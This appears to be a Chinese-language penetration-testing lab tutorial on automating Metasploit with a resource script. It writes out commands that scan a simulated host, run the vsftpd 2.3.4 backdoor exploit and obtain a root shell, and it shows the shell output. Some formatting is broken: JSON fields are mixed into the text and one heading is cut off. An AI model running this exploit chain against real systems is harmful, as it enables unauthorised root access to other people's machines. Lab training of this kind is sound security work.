## 引言 本次实验的核心目标，是掌握如何使用 Metasploit 资源脚本将渗透测试流程自动化。Metasploit Framework 本身是一款功能强大的安全测试工具，但如果每次都手动输入相同命令，不仅步骤重复，还会明显降低效率。所谓资源脚本，本质上是一个扩展名为 `.rc` 的纯文本文件，你可以将一系列命令按顺序写入其中，再交由 `msfconsole` 自动执行。 在本实验中，你将逐步创建一个资源脚本，并利用它自动完成针对易受攻击服务的整条测试流程。主要内容包括：创建工作区、扫描目标、选择漏洞利用模块（exploit）、完成必要配置，以及最终执行攻击。完成学习后，你就能够自行编写 Metasploit 自动化脚本，让渗透测试任务更加高效、规范。 本实验将以一台模拟的易受攻击主机作为目标，假设其 IP 地址为 `10.0.2.15`。 ## 创建一个带有 .rc 扩展名的新文件 这一步的任务，是先创建资源脚本文件。简单来说，Metasploit 资源脚本就是一个普通文本文件，文件中按顺序写入一组 `msfconsole` 命令，执行时这些命令会依次运行。按照常见命名习惯，这类文件通常使用 `.rc` 作为扩展名。 这里我们使用 `nano` 文本编辑器，在默认的 `~/project` 目录下新建一个名为 `attack.rc` 的文件。 打开终端后，执行下面的命令来创建并打开新文件： ```bash nano attack.rc ``` 执行后，`nano` 会打开一个空白文件。此时暂时无需填写内容，先将该空文件保存，然后按 `Ctrl+X`，接着按 `Y`，最后按 `Enter` 退出编辑器即可。到这里，你已经成功创建了后续将要编辑和填充的 Metasploit 资源脚本文件。n","need_verify":true,"has_solution":false},{"position":2,"title":"向文件中添加 msfconsole 命令序列","layout":"doc-workbench-split","text":"## 向文件中添加 msfconsole 命令序列nn在本步骤中，你将向资源脚本中加入初始命令。这些命令用于为测试创建专用工作区（workspace），并执行一次基础的 Nmap 扫描，以收集目标主机信息。在 Metasploit 中，按工作区对任务进行分类管理是一种推荐的最佳实践。nn首先，再次使用 `nano` 打开 `attack.rc` 文件：nn```bashnnano attack.rcn```nn接下来，向文件中添加以下内容。第一条命令用于创建一个名为 `vsftpd_lab` 的新工作区，第二条命令会针对目标主机（`10.0.2.15`）运行 Nmap 扫描，并将扫描结果保存到数据库中，便于后续利用。nn```plaintextnworkspace -a vsftpd_labndb_nmap -A 10.0.2.15n```nn添加完成后，你的 `attack.rc` 文件内容应与上述内容完全一致。然后按 `Ctrl+X`，再按 `Y`，最后按 `Enter` 保存文件并退出 `nano`。n","need_verify":true,"has_solution":false},{"position":3,"title":"包含使用 exploit、设置选项和运行的命令","layout":"doc-workbench-split","text":"## 包含使用 exploit、设置选项和运行的命令nn在本步骤中，你将继续向脚本中添加核心攻击命令。这里将针对 VSFTPD 服务中的一个已知漏洞，具体使用 `vsftpd_234_backdoor` exploit。你需要添加相应命令来选择该 exploit 模块、设置所需的目标选项，并最终执行攻击。nn再次使用 `nano` 打开 `attack.rc` 文件：nn```bashnnano attack.rcn```nn将以下命令追加到文件末尾。这些命令会告诉 Metasploit：nn1. `use exploit/unix/ftp/vsftpd_234_backdoor`: 选择对应的 exploit 漏洞利用模块。n2. `set RHOSTS 10.0.2.15`: 将 `RHOSTS`（Remote Hosts）参数设置为目标主机的 IP 地址。n3. `exploit`: 正式发起攻击。nn```plaintextnuse exploit/unix/ftp/vsftpd_234_backdoornset RHOSTS 10.0.2.15nexploitn```nn添加这些内容后，完整的 `attack.rc` 文件现在应包含以下五条命令：nn```plaintextnworkspace -a vsftpd_labndb_nmap -A 10.0.2.15nuse exploit/unix/ftp/vsftpd_234_backdoornset RHOSTS 10.0.2.15nexploitn```nn保存更改并退出 `nano` 编辑器（`Ctrl+X`、`Y`、`Enter`）。此时，你的自动化攻击脚本已经编写完成。n","need_verify":true,"has_solution":false},{"position":4,"title":"使用 -r 标志启动 msfconsole 来执行脚本","layout":"doc-workbench-split","text":"## 使用 -r 标志启动 msfcons接下来这一步，就是将刚刚编写好的资源脚本真正执行起来。`msfconsole` 支持通过 `-r` 参数在启动时直接加载并运行指定的资源脚本，这意味着 Metasploit 启动后会按照文件中的命令顺序自动执行。 先确认当前目录为 `~/project`，因为 `attack.rc` 文件保存在这里。然后在终端中执行以下命令： ```bash msfconsole -r attack.rc ``` 这条命令会启动 Metasploit Framework。与常规启动方式略有不同的是，它不会立即停留在熟悉的 `msf6 >` 提示符，而是会优先逐条执行 `attack.rc` 文件中的命令。 在最后这一步，你需要观察整条自动化攻击链的执行过程。随着 `msfconsole` 运行，你将看到 `attack.rc` 中每一条命令对应的输出结果：先创建工作区，再执行 Nmap 扫描，随后配置 exploit，最后正式发起攻击。 如果攻击成功，Metasploit 会在目标主机上打开一个命令 shell 会话。终端中通常会出现类似如下提示： ```plaintext [*] Found shell. [*] Command shell session 1 opened (10.0.2.4:42931 -> 10.0.2.15:6200) at 2023-10-27 10:30:00 -0400 ``` 看到这类信息，就说明已经成功进入目标机器的 shell 环境。接下来可以运行 `whoami` 等命令，确认当前是以哪个用户身份在该主机上执行操作。运行。nn```bashnwhoamin```nn预期输出应如下所示：nn```plaintextnrootn```nn这表明你的自动化脚本已成功完成利用，并获得了目标系统的 root 访问权限。nn完成后，输入 `exit` 关闭命令 shell 会话，再次输入 `exit` 退出 `msfconsole`。n","need_verify":true,"has_solution":false},{"position":6,"title":"总结","layout":"doc-fullscreen","text":"## 总结nn在本实验中，你学习并实践了如何使用 Metasploit 资源脚本来自动化渗透测试流程。nn你首先创建了一个资源脚本文件（`attack.rc`），随后通过一系列 `msfconsole` 命令对其进行填充，从而实现完整的自动化攻击链：创建工作区、扫描目标、选择并配置 exploit，最后执行攻击。你还掌握了如何通过 `msfconsole -r` 命令运行该脚本，并观察整个自动化执行过程。nn这项技能对于提升安全测试效率、减少重复操作以及保证评估流程的一致性都非常有帮助。今后，你还可以编写更复杂的 Metasploit 资源脚本，用于自动化处理更多重复性的渗透测试任务。n","need_verify":false,"has_solution":false}